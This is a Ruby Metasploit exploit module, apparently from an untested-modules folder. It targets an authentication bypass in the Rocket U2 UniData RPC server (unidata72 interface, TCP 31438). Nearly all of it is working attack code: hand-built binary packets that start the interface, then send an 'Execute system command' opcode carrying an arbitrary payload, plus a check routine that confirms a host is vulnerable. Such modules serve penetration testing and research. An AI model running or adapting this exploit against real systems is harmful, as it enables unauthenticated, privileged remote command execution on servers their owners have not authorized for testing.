Files
metasploit-gs/unstable-modules/exploits/untested/rpc_unidata_command_exec.rb
T
2015-03-20 10:59:26 -05:00

133 lines
3.7 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(
info,
'Name' => 'Rocket U2 UniData Less Than 7.3 unidata72 RPC Interface Call Parsing Arbitrary Command Execution',
'Description' => %q(
The UniData RPC server listening on the remote host does not enforce
authentication on the unidata72 interface. A remote, unauthenticated
attacker can exploit this issue and execute arbitrary code on the host
as a privileged user.
),
'Author' =>
[
'Ron Bowes', # Initial vulnerability discovery
'Justin (Jaywalker) Williams' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '82942' ],
[ 'BID', '53974' ],
[ 'URL', 'http://bot24.blogspot.com/2012/06/authentication-bypass-in-unidata-leads.html'],
[ 'URL', 'https://www.upsploit.com/index.php/advisories/view/UPS-2012-0012']
],
'Platform' => %w(unix win),
'Arch' => ARCH_CMD,
'Payload' =>
{
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Targets' =>
[
[ 'unidata72', {} ]
],
'Privileged' => true,
'DisclosureDate' => 'Jun 09 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(31438)
], self.class)
end
def check
connect
token = Rex::Text.rand_text_alpha(8)
response = run_command(sock, "echo #{token}")
disconnect
# XXX: shouldn't this match exactly?
if response =~ /#{token}/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def peer
"#{rhost}:#{rport}"
end
def send_msg(sock, data)
sock.put(data)
data = ""
begin
read_data = sock.get_once(-1, 1)
while read_data
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused => e
print_error("#{peer} - error sending: #{e}")
end
data
end
def run_command(sock, command)
# TODO: document this better
hello = "\x6c\x02\x00\x00\x00\x00\x00\x14" \
"\x00\x00\x00\x00\x02\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x01\x00\x00" \
"\x00\x00\x00\x09\x00\x00\x00\x02" \
"udadmin72\x00\x00\x00"
# Send our hello and request start of unidata72 interface
send_msg(sock, hello)
cmd = command
if cmd.length < 12
len = 12 - cmd.length
len.times { cmd << "\x00" }
end
# TODO: document this better
# Our command packet header. The \x06 optcode means "Execute system command"
msg = "\x6c\x02\x00\x00\x00\x00\x00\x20" \
"\x00\x00\x00\x00\x02\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x02\x00\x00" \
"\x00\x00\x00\x01\x00\x00\x00\x00" \
"\x00\x00\x00\x08\x00\x00\x00\x02" \
"\x00\x00\x00\x06"
msg << cmd
# Send our exploit
send_msg(sock, msg)
end
def exploit
connect
print_status("#{peer} - Attempting to run command...")
response = run_command(sock, payload.encoded)
# TODO: parse the response more
data = response[44, (response.length - 44)]
print_line("#{peer} - Command Response:\n#{data}")
disconnect
end
end